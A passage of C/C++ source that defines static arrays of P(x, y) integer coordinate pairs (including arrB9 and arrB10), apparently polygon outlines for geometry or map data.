655861508), P(462115365, 655861508), P(462116111, 655860574), P(462116111, 655858706), P(462117602, 655855905), P(462117602, 655854971), P(462116857, 655854037), P(462116857, 655853103), P(462114620, 655850302), P(462112383, 655846567), P(462111637, 655847501), P(462111637, 655848434), P(462109400, 655848434), P(462107909, 655846567), P(462107163, 655847501), P(462107163, 655850302), P(462106417, 655850302), P(462105672, 655849368), P(462103435, 655849368), P(462103435, 655848434), P(462102689, 655847501), P(462099707, 655847501), P(462098961, 655848434), P(462098215, 655848434), P(462097470, 655849368), P(462098215, 655850302), P(462097470, 655852170), P(462097470, 655851236), P(462096724, 655850302), P(462096724, 655846567), P(462095978, 655845633), P(462093741, 655845633), P(462092996, 655846567), P(462092996, 655847501), P(462093741, 655848434), P(462093741, 655851236), P(462092250, 655851236), P(462092250, 655850302), P(462091504, 655849368), P(462091504, 655847501), P(462092250, 655846567), P(462091504, 655844699), P(462089267, 655844699), P(462088522, 655845633), P(462087030, 655845633), P(462085539, 655844699), P(462082557, 655848434), P(462081811, 655848434), P(462080320, 655844699), P(462079574, 655845633), P(462079574, 655848434), P(462078828, 655850302), P(462074354, 655850302), P(462072863, 655852170), P(462072863, 655849368), P(462071372, 655847501), P(462069880, 655849368), P(462069880, 655851236), P(462069135, 655851236), P(462068389, 655852170), P(462069135, 655853103), P(462068389, 655853103), P(462067643, 655855905), P(462066152, 655854037), P(462062424, 655855905), P(462061678, 655854971), P(462059441, 655854971), P(462059441, 655854037), P(462060933, 655854037), P(462061678, 655853103), P(462062424, 655854037), P(462065407, 655854037), P(462066898, 655852170), P(462066898, 655851236), P(462066152, 655850302), P(462066152, 655848434), P(462064661, 655846567), P(462061678, 655844699), P(462060187, 655846567), P(462060187, 655848434), P(462058696, 655850302), P(462057950, 655850302), P(462056459, 655852170), P(462055713, 655854037), P(462056459, 655854971), P(462056459, 655855905), P(462057204, 655856839), P(462057950, 655856839), P(462058696, 655858706), P(462059441, 655858706), P(462060933, 655859640), P(462060187, 655859640), P(462059441, 655860574), P(462058696, 655860574), P(462057950, 655861508), P(462057204, 655861508), P(462056459, 655862442), P(462056459, 655863375), P(462055713, 655863375), P(462054967, 655864309), P(462054967, 655865243), P(462054222, 655866177), P(462053476, 655866177), P(462051985, 655868045), P(462051239, 655868045), P(462047511, 655871780), P(462046765, 655871780), P(462046020, 655870846), P(462043783, 655870846), P(462042291, 655872714), P(462043783, 655874582), P(462043037, 655874582), P(462042291, 655873648), P(462040800, 655873648), P(462040054, 655874582), P(462040054, 655875516), P(462040800, 655876449), P(462043783, 655876449), P(462043783, 655878317), P(462041546, 655878317), P(462040800, 655877383), P(462040054, 655878317), P(462035580, 655879251), P(462034835, 655878317), P(462034835, 655877383), P(462032598, 655874582), P(462033343, 655873648), P(462033343, 655872714), P(462032598, 655870846), P(462031852, 655871780), P(462031106, 655871780), P(462030361, 655872714), P(462029615, 655871780), P(462028869, 655871780), P(462028124, 655872714), P(462028869, 655873648), P(462028869, 655874582), P(462027378, 655875516), P(462025141, 655875516), P(462023650, 655874582), P(462025141, 655872714), P(462025887, 655872714), P(462027378, 655870846), P(462026633, 655869912), P(462025887, 655869912), P(462025141, 655868978), P(462025141, 655868045), P(462024396, 655867111), P(462023650, 655865243), P(462024396, 655864309), P(462025141, 655864309), P(462025141, 655861508), P(462024396, 655860574), P(462021413, 655860574), P(462021413, 655858706), P(462019922, 655856839), P(462018430, 655858706), P(462018430, 655860574), P(462017685, 655860574), P(462016939, 655861508), P(462014702, 655862442), P(462014702, 655861508), P(462016193, 655859640), P(462016193, 655857772), P(462015448, 655855905), P(462014702, 655854971), P(462013956, 655854971), P(462013211, 655855905), P(462013211, 655858706), P(462010974, 655858706), P(462010974, 655856839), P(462011719, 655855905), P(462010974, 655854971), P(462008737, 655850302), P(462007246, 655852170), P(462007246, 655853103), P(462006500, 655854037), P(462005754, 655855905), P(462007246, 655857772), P(462007991, 655857772), P(462007991, 655858706), P(462007246, 655859640), P(462007246, 655862442), P(462005754, 655862442), P(462005754, 655861508), P(462006500, 655860574), P(462006500, 655857772), P(462006067, 655856854), P(462005009, 655856839), P(462005009, 655857772), P(462003517, 655859640), P(462002772, 655861508), P(462002026, 655861508), P(462000535, 655859640), P(461998298, 655862442), P(461997552, 655861508), P(461997552, 655860574), P(461996806, 655859640), P(461995315, 655858706), P(461994569, 655859640), P(461993824, 655859640), P(461993824, 655857772), P(461993078, 655856839), P(461990095, 655856839), P(461990095, 655855905), P(461989350, 655854971), P(461988604, 655854971), P(461984130, 655857772), P(461984130, 655856839), P(461983385, 655855905), P(461981893, 655854971), P(461982639, 655854037), P(461984130, 655855905), P(461984876, 655854971), P(461985622, 655853103), P(461984130, 655851236), P(461984130, 655850302), P(461983385, 655849368), P(461983385, 655847501), P(461982639, 655846567), P(461982639, 655844699), P(461983385, 655843765), P(461981148, 655840964), P(461981148, 655838163), P(461982639, 655838163), P(461984130, 655837229), P(461981893, 655834428), P(461979656, 655834428), P(461977419, 655831627), P(461975928, 655831627), P(461975182, 655830693), P(461975182, 655828825), P(461974437, 655827892), P(461973691, 655827892), P(461971454, 655825091), P(461970708, 655825091), P(461969963, 655824157), P(461968471, 655823223), P(461966980, 655823223), P(461966980, 655821356), P(461968614, 655822474), P(461969217, 655823223), P(461969963, 655823223), P(461970708, 655824157), P(461972200, 655825091), P(461972945, 655824157), P(461972945, 655823223), P(461973691, 655823223), P(461975928, 655821356), P(461974437, 655819488), P(461972945, 655821356), P(461972200, 655821356), P(461971454, 655820422), P(461970708, 655820422), P(461968471, 655819488), P(461968471, 655818555), P(461969217, 655817621), P(461968471, 655816687), P(461967726, 655816687), P(461967726, 655815754), P(461965489, 655812953), P(461966235, 655812019), P(461966235, 655810152), P(461965489, 655809218), P(461964743, 655809218), P(461963252, 655810152), P(461963252, 655805483), P(461961015, 655798014), P(461960269, 655798948), P(461960269, 655799881), P(461959524, 655800815), P(461960269, 655801749), P(461960269, 655803616), P(461959524, 655804550), P(461958778, 655807351), P(461957287, 655805483), P(461957287, 655804550), P(461956541, 655803616), P(461955795, 655803616), P(461953558, 655806417), P(461949084, 655806417), P(461948339, 655807351), P(461948339, 655809218), P(461947593, 655810152), P(461946848, 655812019), P(461946102, 655812019), P(461945356, 655811085), P(461944611, 655812019), P(461943865, 655812019), P(461943119, 655810152), P(461942374, 655811085), P(461942374, 655812019), P(461941628, 655812953), P(461941628, 655813886), P(461939391, 655816687), P(461937900, 655816687), P(461937154, 655815754), P(461935663, 655815754), P(461936408, 655814820), P(461936408, 655813886), P(461938645, 655813886), P(461940882, 655811085), P(461939391, 655809218), P(461939391, 655807351), P(461940137, 655805483), P(461939391, 655804550), P(461937154, 655804550), P(461937154, 655803616), P(461937900, 655802682), P(461935663, 655798948), P(461934171, 655798948), P(461933426, 655799881), P(461931934, 655800815), P(461931934, 655802682), P(461931189, 655803616), P(461931189, 655804550), P(461931934, 655806417), P(461931189, 655806417), P(461930443, 655807351), P(461929697, 655807351), P(461930443, 655806417), P(461926715, 655807351), P(461927461, 655808284), P(461925224, 655811085), P(461926715, 655812953), P(461925969, 655813886), P(461925969, 655815754), P(461927461, 655818555), P(461929697, 655818555), P(461930443, 655819488), P(461931189, 655818555), P(461931934, 655818555), P(461931934, 655821356), P(461932680, 655822289), P(461934171, 655822289), P(461936408, 655819488), P(461937154, 655819488), P(461937154, 655820422), P(461937900, 655821356), P(461939391, 655819488), P(461940137, 655819488), P(461940137, 655820422), P(461941628, 655822289), P(461942374, 655822289), P(461943865, 655823223), P(461948339, 655823223), P(461947593, 655824157), P(461946848, 655824157), P(461946102, 655825091), P(461946102, 655826024), P(461944611, 655826024), P(461943119, 655827892), P(461943119, 655828825), P(461941628, 655828825), P(461937154, 655834428), P(461937154, 655835362), P(461936408, 655835362), P(461934171, 655837229), P(461932680, 655837229), P(461931934, 655836295), P(461930443, 655836295), P(461929697, 655835362), P(461925969, 655835362), P(461924478, 655837229), P(461922241, 655837229), P(461921495, 655836295), P(461921495, 655831627), P(461919258, 655828825), P(461919258, 655826958), P(461916276, 655823223), P(461915530, 655821356), P(461912547, 655817621), P(461911802, 655817621), P(461911056, 655818555), P(461910310, 655817621), P(461908819, 655817621), P(461908074, 655816687), P(461908074, 655815754), P(461904345, 655812953), P(461903600, 655812953), P(461902854, 655813886), P(461901363, 655813886), P(461900617, 655814820), P(461901363, 655815754), P(461902854, 655815754), P(461903600, 655816687), P(461902854, 655817621), P(461902108, 655817621), P(461901363, 655818555), P(461900617, 655818555), P(461899871, 655819488), P(461899871, 655820422), P(461899126, 655821356), P(461899126, 655822289), P(461897634, 655826024), P(461895397, 655826024), P(461894652, 655825091), P(461893160, 655826958), P(461891669, 655825091), P(461892415, 655824157), P(461891669, 655823223), P(461886450, 655823223), P(461884958, 655825091), P(461884213, 655825091), P(461881976, 655827892), P(461882721, 655828825), P(461882721, 655829759), P(461881976, 655829759), P(461881230, 655830693), P(461880484, 655829759), P(461878993, 655829759), P(461878247, 655830693), P(461877502, 655830693), P(461876010, 655832560), P(461875265, 655832560), P(461874519, 655833494), P(461871536, 655834428), P(461872282, 655835362), P(461871536, 655836295), P(461871536, 655837229), P(461870791, 655838163), P(461870791, 655840964), P(461872282, 655842832), P(461872282, 655844699), P(461871536, 655844699), P(461870791, 655845633), P(461870045, 655847501), P(461869300, 655846567), P(461868554, 655846567), P(461867063, 655842832), P(461866317, 655842832), P(461865571, 655841898), P(461864826, 655842832), P(461864080, 655841898), P(461863334, 655841898), P(461862589, 655840964), P(461861097, 655840030), P(461857369, 655840030), P(461856623, 655839097), P(461855132, 655838163), P(461853641, 655838163), P(461852895, 655839097), P(461849913, 655839097), P(461849167, 655840030), P(461848421, 655839097), P(461845439, 655839097), P(461844693, 655838163), P(461844693, 655837229), P(461843947, 655836295), P(461843947, 655834428), P(461843202, 655832560), P(461842456, 655831627), P(461841710, 655831627), P(461839473, 655827892), P(461835745, 655827892), P(461834999, 655826958), P(461833508, 655826024), P(461832762, 655826958), P(461831271, 655826958), P(461830525, 655827892), P(461828289, 655827892), P(461827543, 655828825), P(461826797, 655828825), P(461825306, 655830693), P(461822323, 655830693), P(461821578, 655831627), P(461820086, 655832560), P(461819341, 655831627), P(461814867, 655831627), P(461814121, 655830693), P(461813375, 655830693), P(461812630, 655829759), P(461811884, 655829759), P(461811138, 655828825), P(461811138, 655827892), P(461811884, 655826958), P(461811884, 655826024), P(461811138, 655825091), P(461811138, 655824157), P(461808902, 655822289), P(461808156, 655823223), P(461805919, 655823223), P(461805173, 655824157), P(461798462, 655824157), P(461797717, 655823223), P(461797717, 655821356), P(461798462, 655821356), P(461799954, 655819488), P(461799954, 655818555), P(461799208, 655817621), P(461799954, 655816687), P(461799954, 655812953), P(461798462, 655811085), P(461797717, 655812019), P(461796971, 655811085), P(461793988, 655811085), P(461793988, 655810152), P(461793243, 655809218), P(461793243, 655807351), P(461789515, 655802682), P(461785041, 655802682), P(461784295, 655801749), P(461782804, 655801749), P(461782804, 655800815), P(461781312, 655798948), P(461780567, 655799881), P(461779821, 655801749), P(461776838, 655798014), P(461776093, 655798014), P(461775347, 655798948), P(461775347, 655799881), P(461767145, 655799881), P(461766399, 655798948), P(461766399, 655798014), P(461764908, 655796147), P(461766399, 655794280), P(461764908, 655792413), P(461762671, 655792413), P(461761925, 655790545), P(461761925, 655788678), P(461764162, 655785877), P(461764162, 655781209), P(461767145, 655781209), P(461764908, 655778409), P(461760434, 655778409), P(461760434, 655777475), P(461761180, 655776542), P(461761180, 655775608), P(461761925, 655775608), P(461762671, 655774675), P(461761180, 655772808), P(461758943, 655772808), P(461758943, 655770940), P(461760434, 655769073), P(461761180, 655767206), P(461760434, 655766273), P(461761180, 655764406), P(461760434, 655763472), P(461758943, 655763472), P(461758197, 655762539), P(461758197, 655761605), P(461757451, 655760672), P(461757451, 655759738), P(461756706, 655758805), P(461755214, 655754137), P(461755214, 655752270), P(461755960, 655751337), P(461755960, 655748536), P(461756706, 655747603), P(461756706, 655746670), P(461758943, 655743869), P(461758943, 655742936), P(461758197, 655740135), P(461758943, 655739202), P(461760434, 655739202), P(461762671, 655736402), P(461762671, 655735468), P(461763417, 655734535), P(461764162, 655734535), P(461765654, 655733602), P(461765654, 655732668), P(461764908, 655731735), P(461764162, 655731735), P(461764162, 655728935), P(461764908, 655728935), P(461766399, 655727068), P(461767891, 655727068), P(461768636, 655726134), P(461768636, 655725201), P(461769382, 655724268), P(461768636, 655723334), P(461768636, 655722401), P(461769382, 655722401), P(461770128, 655721467), P(461773110, 655718667), P(461773110, 655714934), P(461773856, 655714001), P(461774601, 655714001), P(461775347, 655713067), P(461773856, 655709334), P(461774601, 655708401), P(461778330, 655708401), P(461779075, 655707467), P(461779075, 655706534), P(461780567, 655704667), P(461779075, 655702801), P(461780567, 655700934), P(461781312, 655700934), P(461782058, 655700001), P(461783549, 655700001), P(461784295, 655699067), P(461784295, 655698134), P(461785041, 655697201), P(461783549, 655695334), P(461788023, 655692534), P(461788023, 655691601), P(461786532, 655689735), P(461786532, 655687868), P(461788769, 655685068), P(461788023, 655684135), P(461787278, 655684135), P(461787278, 655683202), P(461786532, 655682269), P(461785786, 655682269), P(461785041, 655681335), P(461783549, 655681335), P(461784295, 655680402), P(461782804, 655678536), P(461780567, 655678536), P(461779821, 655677602), P(461779821, 655676669), P(461779075, 655675736), P(461779075, 655674803), P(461778330, 655672003), P(461779075, 655672003), P(461779821, 655671070), P(461780567, 655671070), P(461782058, 655669203), P(461782804, 655669203), P(461784295, 655667337), P(461784295, 655666404), P(461783549, 655665471), P(461784295, 655664537), P(461783549, 655663604), P(461784295, 655659872), P(461785041, 655660805), P(461785786, 655660805), P(461788023, 655658005), P(461788769, 655658938), P(461791751, 655656139), P(461791751, 655650540), P(461792497, 655649607), P(461792497, 655648674), P(461791006, 655646808), P(461791006, 655645874), P(461791751, 655644941), P(461792497, 655644941), P(461793988, 655643075), P(461795480, 655643075), P(461796971, 655641209), P(461797717, 655638409), P(461796971, 655637476), P(461796971, 655636543), P(461797717, 655634677), P(461792497, 655628146), P(461793243, 655628146), P(461793988, 655629079), P(461794734, 655629079), P(461796225, 655627213), P(461796225, 655626279), P(461796971, 655626279), P(461797717, 655625346), P(461799954, 655624413), P(461801445, 655622547), P(461801445, 655620681), P(461802191, 655620681), P(461802936, 655619748), P(461804428, 655618815), P(461805173, 655617882), P(461805173, 655616949), P(461806665, 655615083), P(461806665, 655614150), P(461809647, 655611351), P(461809647, 655610418), P(461808902, 655609485), P(461808156, 655609485), P(461807410, 655608552), P(461807410, 655607619), P(461806665, 655606686), P(461805919, 655604820), P(461806665, 655602954), P(461809647, 655602954), P(461811138, 655601088), P(461811884, 655602021), P(461815612, 655602021), P(461817104, 655600155), P(461817104, 655599222), P(461817849, 655599222), P(461823069, 655592691), P(461824560, 655592691), P(461825306, 655591758), P(461827543, 655591758), P(461829034, 655589892), P(461829780, 655590825), P(461830525, 655589892), P(461832762, 655589892), P(461835745, 655586161), P(461837982, 655586161), P(461838728, 655587094), P(461841710, 655587094), P(461842456, 655588027), P(461843202, 655588027), P(461843947, 655588960), P(461844693, 655588960), P(461845439, 655589892), P(461846184, 655589892), P(461847676, 655590825), P(461849913, 655590825), P(461851404, 655591758), P(461852149, 655591758), P(461852895, 655590825), P(461858115, 655590825), P(461858860, 655589892), P(461864080, 655589892), P(461864080, 655590825), P(461864826, 655591758), P(461863334, 655591758), P(461862589, 655590825), P(461861843, 655590825), P(461861097, 655591758), P(461858115, 655591758), P(461857369, 655592691), P(461855132, 655591758), P(461853641, 655593624), P(461853641, 655595490), P(461854386, 655596423), P(461854386, 655597356), P(461856623, 655600155), P(461856623, 655602954), P(461857369, 655603887), P(461858115, 655603887), P(461859606, 655602021), P(461861097, 655601088), P(461861843, 655602021), P(461861843, 655602954), P(461862589, 655603887), P(461862589, 655605753), P(461866317, 655608552), P(461867063, 655607619), P(461867063, 655606686), P(461867808, 655605753), P(461869300, 655605753), P(461870045, 655606686), P(461871536, 655607619), P(461873028, 655605753), P(461873028, 655604820), P(461873773, 655603887), P(461875265, 655602954), P(461875265, 655601088), P(461876010, 655600155), P(461877502, 655599222), P(461877502, 655598289), P(461878247, 655597356), P(461878247, 655594557), P(461879739, 655594557), P(461881230, 655592691), P(461881230, 655590825), P(461881976, 655589892), P(461883467, 655587094), P(461885704, 655587094), P(461886450, 655586161), P(461887941, 655586161), P(461888687, 655585228), P(461891669, 655584295), P(461891669, 655586161), P(461893906, 655588960), P(461895397, 655588960), P(461896143, 655589892), P(461896143, 655590825), P(461897634, 655592691), P(461897634, 655593624), P(461898380, 655594557), P(461900617, 655596423), P(461902108, 655594557), P(461903600, 655594557), P(461904345, 655595490), P(461904345, 655596423), P(461905091, 655598289), P(461905837, 655599222), P(461907328, 655600155), P(461908074, 655600155), P(461908819, 655599222), P(461908819, 655598289), P(461909565, 655599222), P(461911056, 655599222), P(461911802, 655600155), P(461913293, 655600155), P(461914784, 655602021), P(461917767, 655602021), P(461922241, 655607619), P(461922987, 655607619), P(461923732, 655606686), P(461925969, 655606686), P(461925969, 655610418), P(461927461, 655610418), P(461928206, 655609485), P(461931934, 655609485), P(461933426, 655611351), P(461934171, 655610418), P(461934171, 655608552), P(461935663, 655608552), P(461936408, 655607619), P(461937900, 655607619), P(461940137, 655606686), P(461940882, 655606686), P(461941628, 655607619), P(461942374, 655607619), P(461943119, 655608552), P(461944611, 655608552), P(461947593, 655609485), P(461949084, 655611351), P(461949830, 655611351), P(461950576, 655612284), P(461951321, 655612284), P(461952813, 655613217), P(461952813, 655616016), P(461953558, 655616949), P(461956541, 655616949), P(461957287, 655617882), P(461958032, 655617882), P(461958778, 655618815), P(461959524, 655618815), P(461961761, 655619748), P(461961761, 655620681), P(461965489, 655625346), P(461965489, 655627213), P(461966235, 655628146), P(461967726, 655628146), P(461968471, 655627213), P(461969963, 655630945), P(461972200, 655630945), P(461972945, 655630012), P(461975928, 655630012), P(461978165, 655627213), P(461978911, 655625346), P(461979656, 655625346), P(461981148, 655627213), P(461985622, 655627213), P(461986367, 655628146), P(461989350, 655628146), P(461990095, 655629079), P(461992332, 655629079), P(461995315, 655630012), P(461996806, 655628146), P(461996806, 655627213), P(461996061, 655626279), P(461995315, 655626279), P(461995315, 655625346), P(461994569, 655624413), P(461995315, 655623480), P(461995315, 655621614), P(461993824, 655619748), P(461994569, 655619748), P(461995315, 655618815), P(461997552, 655618815), P(461998298, 655617882), P(461998298, 655616949), P(462000535, 655615083), P(462002772, 655615083), P(462003517, 655616016), P(462004263, 655616016), P(462005009, 655616949), P(462005754, 655616949), P(462007991, 655617882), P(462007991, 655618815), P(462008737, 655619748), P(462009482, 655619748), P(462010228, 655618815), P(462010228, 655616949), P(462011719, 655616949), P(462011719, 655619748), P(462012465, 655620681), P(462012465, 655621614), P(462010974, 655621614), P(462010228, 655622547), P(462010974, 655623480), P(462013956, 655628146), P(462014702, 655627213), P(462017685, 655627213), P(462018430, 655626279), P(462019922, 655626279), P(462020667, 655625346), P(462020667, 655624413), P(462022159, 655622547), P(462022904, 655622547), P(462023650, 655623480), P(462025887, 655623480), P(462026633, 655624413), P(462027378, 655623480), P(462027378, 655622547), P(462029615, 655622547), P(462030361, 655621614), P(462030361, 655620681), P(462029615, 655619748), P(462028869, 655619748), P(462028124, 655617882), P(462028124, 655613217), P(462028869, 655612284), P(462027378, 655610418), P(462028124, 655610418), P(462031852, 655605753), P(462034089, 655603887), P(462038563, 655603887), P(462039309, 655604820), P(462040054, 655604820), P(462041546, 655603887), P(462042291, 655604820), P(462041546, 655605753), P(462041546, 655606686), P(462042291, 655609485), P(462043783, 655607619), P(462045274, 655607619), P(462046020, 655608552), P(462049002, 655608552), P(462051239, 655605753), P(462052730, 655605753), P(462053476, 655604820), P(462054967, 655604820), P(462055713, 655603887), P(462059441, 655602954), P(462060187, 655602021), P(462058696, 655600155), P(462059441, 655599222), P(462060187, 655599222), P(462060933, 655598289), P(462060933, 655592691), P(462062424, 655592691), P(462063915, 655594557), P(462065407, 655592691), P(462065407, 655591758), P(462064661, 655590825), P(462064661, 655586161), P(462063915, 655585228), P(462063170, 655586161), P(462061678, 655587094), P(462061678, 655584295), P(462062424, 655582429), P(462063170, 655581496), P(462064661, 655581496), P(462065407, 655580563), P(462067643, 655580563), P(462068389, 655581496), P(462070626, 655581496), P(462071372, 655580563), P(462071372, 655579630), P(462072863, 655577765), P(462072863, 655572167), P(462073609, 655570301), P(462074354, 655569369), P(462075846, 655569369), P(462078083, 655566570), P(462078828, 655566570), P(462080320, 655564704), P(462079574, 655562839), P(462080320, 655562839), P(462081811, 655560973), P(462082557, 655560973), P(462083302, 655561906), P(462084794, 655561906), P(462085539, 655562839), P(462087776, 655562839), P(462089267, 655560973), P(462090013, 655560973), P(462090759, 655560040), P(462090759, 655559107), P(462090013, 655558174), P(462089267, 655556309), P(462091504, 655556309), P(462092250, 655555376), P(462092250, 655554443), P(462092996, 655552577), P(462093741, 655551645), P(462094487, 655551645), P(462098961, 655545115), P(462104181, 655545115), P(462104926, 655544182), P(462108654, 655544182), P(462110891, 655546981), P(462112383, 655547913), P(462113874, 655547913), P(462114620, 655546981), P(462116111, 655546981), P(462116857, 655546048), P(462118348, 655545115), P(462119094, 655546048), P(462119094, 655546981), P(462119839, 655547913), P(462120585, 655547913), P(462121331, 655548846), P(462122822, 655548846), P(462123568, 655547913), P(462125059, 655547913), P(462125805, 655548846), P(462126550, 655548846), P(462128787, 655551645), P(462131770, 655552577), P(462141463, 655552577), P(462142209, 655551645), P(462141463, 655550712), P(462141463, 655549779), P(462142209, 655549779), P(462143700, 655547913), P(462145937, 655547913), P(462146683, 655548846), P(462147428, 655548846), P(462148174, 655547913), P(462149665, 655547913), P(462150411, 655548846), P(462153394, 655548846), P(462154139, 655547913), P(462167561, 655547913), P(462168307, 655546981), P(462168307, 655546048), P(462169052, 655545115), P(462170544, 655546981), P(462171289, 655546981), P(462172035, 655546048), P(462172781, 655546048), P(462175018, 655548846), P(462175763, 655548846), P(462178000, 655549779), P(462180983, 655549779), P(462182474, 655547913), P(462185457, 655547913), P(462186202, 655548846), P(462186948, 655548846), P(462187694, 655549779), P(462189185, 655549779), P(462190676, 655551645), P(462192168, 655549779), P(462192913, 655549779), P(462194405, 655551645), P(462197387, 655551645), P(462198133, 655552577), P(462200370, 655552577), P(462206335, 655553510), P(462207081, 655552577), P(462207081, 655549779), P(462207826, 655549779), P(462208572, 655548846), P(462211555, 655547913), P(462211555, 655549779), P(462212300, 655550712), P(462212300, 655551645), P(462213046, 655553510), P(462213046, 655554443), P(462212300, 655555376), P(462213792, 655557241), P(462215283, 655557241), P(462216029, 655556309), P(462216774, 655557241), P(462216774, 655558174), P(462217520, 655559107), P(462219757, 655559107), P(462222740, 655560040), P(462223485, 655559107), P(462224231, 655559107), P(462224976, 655558174), P(462224976, 655557241), P(462229450, 655557241), P(462230196, 655558174), P(462231687, 655557241), P(462231687, 655556309), P(462230942, 655555376), P(462230196, 655555376), P(462229450, 655554443), P(462227959, 655554443), P(462228705, 655553510), P(462228705, 655547913), P(462232433, 655547913), P(462233179, 655548846), P(462234670, 655549779), P(462239144, 655549779), P(462239890, 655548846), P(462240635, 655548846), P(462242127, 655547913), P(462243618, 655547913), P(462244363, 655548846), P(462245855, 655546981), P(462248092, 655546981), P(462249583, 655547913), P(462251074, 655546048), P(462252566, 655546048), P(462253311, 655545115), P(462252566, 655544182), P(462256294, 655541384), P(462256294, 655542317), P(462257785, 655544182), P(462260768, 655544182), P(462263005, 655546981), P(462262259, 655547913), P(462260022, 655547913), P(462259277, 655548846), P(462260022, 655550712), P(462259277, 655550712), P(462257785, 655549779), P(462255548, 655552577), P(462254803, 655554443), P(462254803, 655556309), P(462254057, 655557241), P(462254803, 655558174), P(462254803, 655560973), P(462255548, 655561906), P(462255548, 655562839), P(462256294, 655563771), P(462258531, 655563771), P(462258531, 655564704), P(462257040, 655564704), P(462254803, 655569369), P(462255548, 655570301), P(462257040, 655570301), P(462258531, 655571234), P(462258531, 655572167), P(462257040, 655574033), P(462257785, 655574966), P(462257785, 655575899), P(462258531, 655576832), P(462260768, 655576832), P(462261514, 655577765), P(462263005, 655577765), P(462262259, 655578697), P(462262259, 655581496), P(462263005, 655582429), P(462264496, 655582429), P(462265242, 655583362), P(462265242, 655584295), P(462265987, 655585228), P(462268970, 655589892), P(462267479, 655589892), P(462266733, 655588960), P(462265242, 655588960), P(462264496, 655589892), P(462264496, 655591758), P(462263005, 655593624), P(462264496, 655595490), P(462263750, 655596423), P(462263750, 655597356), P(462264496, 655598289), P(462265242, 655598289), P(462266733, 655600155), P(462265987, 655600155), P(462265242, 655599222), P(462263750, 655601088), P(462263005, 655601088), P(462262259, 655600155), P(462260022, 655601088), P(462258531, 655602954), P(462258531, 655605753), P(462257785, 655606686), P(462257040, 655608552), P(462256294, 655608552), P(462254803, 655610418), P(462254803, 655611351), P(462253311, 655611351), P(462252566, 655612284), P(462252566, 655615083), P(462249583, 655616949), P(462249583, 655617882), P(462250329, 655618815), P(462249583, 655619748), P(462249583, 655620681), P(462248092, 655622547), P(462248092, 655624413), P(462248837, 655625346), P(462250329, 655625346), P(462250329, 655627213), P(462251074, 655628146), P(462251074, 655629079), P(462251820, 655630945), P(462254057, 655633744), P(462251074, 655637476), P(462250329, 655637476), P(462249583, 655638409), P(462249583, 655642142), P(462248092, 655645874), P(462248837, 655646808), P(462249583, 655645874), P(462251820, 655648674), P(462252566, 655647741), P(462252566, 655643075), P(462254803, 655640276), P(462256294, 655640276), P(462257040, 655639343), P(462257040, 655638409), P(462258531, 655638409), P(462260022, 655639343), P(462260768, 655638409), P(462260022, 655637476), P(462260022, 655636543), P(462260768, 655634677), P(462261514, 655633744), P(462262259, 655633744), P(462265242, 655631878), P(462265987, 655632811), P(462265242, 655633744), P(462265242, 655634677), P(462265987, 655635610), P(462266733, 655637476), P(462265987, 655638409), P(462265987, 655639343), P(462265242, 655640276), P(462265242, 655641209), P(462264496, 655642142), P(462264496, 655644008), P(462263005, 655645874), P(462262259, 655645874), P(462261514, 655646808), P(462257785, 655646808), P(462257040, 655647741), P(462254803, 655649607), P(462255548, 655650540), P(462257785, 655650540), P(462258531, 655651473), P(462257785, 655652406), P(462257040, 655652406), P(462256294, 655653339), P(462257040, 655654273), P(462257040, 655655206), P(462257785, 655656139), P(462261514, 655658938), P(462257040, 655658938), P(462256294, 655658005), P(462254803, 655658005), P(462253311, 655657072), P(462252566, 655658005), P(462254057, 655659872), P(462254057, 655663604), P(462252566, 655665471), P(462251074, 655665471), P(462250329, 655666404), P(462248837, 655666404), P(462248092, 655665471), P(462246600, 655666404), P(462246600, 655668270), P(462247346, 655669203), P(462248092, 655669203), P(462248092, 655670137), P(462246600, 655672003), P(462247346, 655672936), P(462247346, 655675736), P(462246600, 655676669), P(462246600, 655677602), P(462245855, 655678536), P(462245855, 655679469), P(462244363, 655681335), P(462239890, 655683202), P(462239144, 655682269), P(462237653, 655682269), P(462237653, 655680402), P(462238398, 655679469), P(462236161, 655676669), P(462235416, 655676669), P(462233924, 655675736), P(462234670, 655674803), P(462235416, 655674803), P(462236907, 655672936), P(462237653, 655671070), P(462236161, 655669203), P(462235416, 655669203), P(462233924, 655668270), P(462233924, 655666404), P(462233179, 655665471), P(462231687, 655664537), P(462232433, 655663604), P(462232433, 655660805), P(462230942, 655658938), P(462229450, 655658938), P(462226468, 655655206), P(462225722, 655656139), P(462225722, 655659872), P(462224976, 655661738), P(462222740, 655664537), P(462221994, 655664537), P(462220503, 655665471), P(462221248, 655666404), P(462221994, 655666404), P(462221994, 655667337), P(462222740, 655668270), P(462222740, 655669203), P(462221994, 655670137), P(462223485, 655672003), P(462224231, 655672003), P(462224231, 655672936), P(462223485, 655672936), P(462222740, 655673869), P(462221248, 655675736), P(462220503, 655677602), P(462221248, 655678536), P(462221994, 655678536), P(462222740, 655679469), P(462224976, 655679469), P(462225722, 655680402), P(462225722, 655681335), P(462224976, 655682269), P(462227213, 655685068), P(462226468, 655685068), P(462225722, 655686002), P(462224976, 655686002), P(462224231, 655686935), P(462222740, 655686935), P(462221994, 655687868), P(462221248, 655689735), P(462218266, 655686002), P(462217520, 655686002), P(462216774, 655686935), P(462216774, 655687868), P(462217520, 655688801), P(462217520, 655690668), P(462218266, 655692534), P(462217520, 655692534), P(462216774, 655693468), P(462216774, 655695334), P(462216029, 655695334), P(462212300, 655697201), P(462214537, 655700001), P(462216774, 655700001), P(462216774, 655701867), P(462217520, 655702801), P(462219757, 655702801), P(462221248, 655704667), P(462222740, 655704667), P(462223485, 655703734), P(462224976, 655702801), P(462224976, 655703734), P(462226468, 655705601), P(462227213, 655705601), P(462226468, 655706534), P(462227959, 655709334), P(462227213, 655708401), P(462226468, 655709334) };
P arrB9[] = { P(461870791, 655850302), P(461870791, 655849368), P(461871536, 655850302), P(461872282, 655852170), P(461873028, 655854971), P(461872282, 655854037), P(461870791, 655854037), P(461869300, 655853103), P(461869300, 655852170), P(461870045, 655851236) };
P arrB10[] = { P(459759099, 659037544), P(459758353, 659038488), P(459757607, 659037544), P(459757607, 659036599), P(459758353, 659037544) };
